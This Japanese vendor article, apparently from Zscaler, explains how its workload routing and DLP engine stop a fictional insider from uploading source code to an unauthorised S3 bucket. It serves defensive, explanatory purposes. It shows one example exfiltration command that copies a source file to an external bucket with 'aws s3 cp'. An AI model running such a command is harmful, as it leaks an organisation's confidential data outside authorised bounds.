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クラウドの内部不正対策:脅威の特定とパブリック クラウド ワークロードからのデータ流出の防止
概要
現代のデジタル環境において、ソース コードなどの機密データの保護は不可欠です。内部脅威は手強い敵であり、特に、信頼された従業員が価値の高いリポジトリーにアクセスできる場合、重大なリスクとなります。この記事では、架空のソフトウェア開発企業A社を例に、ソース コードをアップロードしようとする内部関係者の試みをZscalerのセキュリティ ソリューションで阻止する方法について解説します。Zscaler Workload Communicationsを活用して、不正なアップロードを検出、防止し、知的財産を保護する方法を見ていきます。
クラウドの内部脅威と阻止の方法
架空のソフトウェア開発企業A社は、業務の生命線としてソース コード リポジトリーを利用しています。連携とイノベーションを促進するため、信頼された従業員はこのリポジトリーにアクセスできるようになっています。A社では、内部脅威のリスクを軽減するためにZscalerのセキュリティ ソリューションを導入しており、ソース コードを不正な宛先にアップロードしようとする内部関係者の試みは阻止されます。では、これを可能にするZscaler製品の仕組みを見ていきましょう。
攻撃チェーン
ユース ケース
- 信頼された従業員のアクセス:信頼された従業員(内部関係者)はソース コード リポジトリーにアクセスでき、これを利用して業務を遂行します。簡単なソース コードの例を以下に示します。
- 内部脅威インシデント:正当なアクセス権を持つ信頼された従業員が、その権限を悪用し、不正な共有を目的としてソース コード ファイルを不正な宛先(AWS S3バケット)にアップロードしようとします。
または
user:~$ aws s3 cp sourcecode.c s3://bucket/uploads/sourcecode.c
図1: Zscalerが内部脅威をブロックする仕組み
- Zscaler Workload Communicationsとの統合:A社のソース コード リポジトリーは、すべてのアウトバウンド トラフィックをZscaler Workload Communications経由でルーティングするように構成されており、データの送信にあたっては厳格な検査が実行され、セキュリティ ポリシーが施行されます。
- ZIAのDLPエンジンの実装:ZIAは強力なインラインDLPエンジンを活用し、データ トラフィックをリアルタイムで分析します。ZIAのDLPポリシーは、ソース コード ファイルを外部ストレージにアップロードしようとする不正な試みを特定、防止するように設計されています。DLPの構成オプションの例を以下に示します。
図2: DLPの構成オプションの例
- ファイル アップロードの試みの検出と防止:内部関係者がソース コード ファイルを不正なAWS S3バケットにアップロードしようとすると、ZIAのDLPエンジンはそれをセキュリティ ポリシー違反として検出します。ZIAは、高度なパターン認識と行動分析を活用し、アップロードの試みをリアルタイムでブロックし、社内データの流出を防止します。
以下の図は、ソース コード ファイルのアップロードの試みがリアルタイムでブロックされたことを示すものです。
図2:ソース コード ファイルのアップロード コマンド実行時のエラー
会社のポリシーに違反したアップロードの試みついては、以下のような詳細なログが表示されます。
図3:ソース コード ファイルのアップロード失敗を示すログ(ユーザー、場所、宛先などの重要な情報を含む)
- アラートと対応:Zscalerのセキュリティ プラットフォームは、不正なアップロードの試みを検出すると、瞬時にアラートを生成します。
Zscalerのソリューション
Zscalerのセキュリティ製品は、ソース コード リポジトリーを狙った内部脅威に対する効果的なソリューションを提供します。
アウトバウンドのデータ送信における違反の検出
ZscalerのCloud Connectorを経由してルーティングすることで、ソース コード リポジトリーからの送信を含め、アウトバウンドのすべてのデータ送信にセキュリティ ポリシーを施行できます。この統合により、送信先を問わず、あらゆるアップロードの試みがセキュリティ チェックを受けることになります。
データ侵害の防止
Zscaler Internet Access (ZIA)は、データをリアルタイムで分析する強力な情報漏洩防止(DLP)エンジンを備えています。高度なDLPポリシーを活用することで、ZIAはソース コードの不正なアップロードを示すパターンを検出できます。このアプローチにより、データ侵害を未然に防止できます。
即時のアラート
Zscalerプラットフォームは、ソース コード リポジトリーへのアクセスを含む、すべてのネットワーク アクティビティーをリアルタイムで監視します。ソース コードを不正な宛先にアップロードしようとする試みなどの不審な動作が発生すると、直ちにアラートがトリガーされます。これにより、セキュリティ部門は迅速に対応し、潜在的なデータの持ち出しを防止できます。
まとめ
サイバーセキュリティ上の脅威は増大しており、内部関係者のリスクに効果的に対処することが求められています。この記事の架空のユース ケースで示したように、Zscalerのソリューションは、内部脅威に対する予防的な対策を提供します。堅牢なDLPポリシーとリアルタイムの監視を導入することで、重要なデータを不正アクセスから保護し、データの完全性を維持できます。Zscalerのプラットフォームを利用することで、内部脅威に確実に対処し、デジタル資産を効果的に保護することが可能です。
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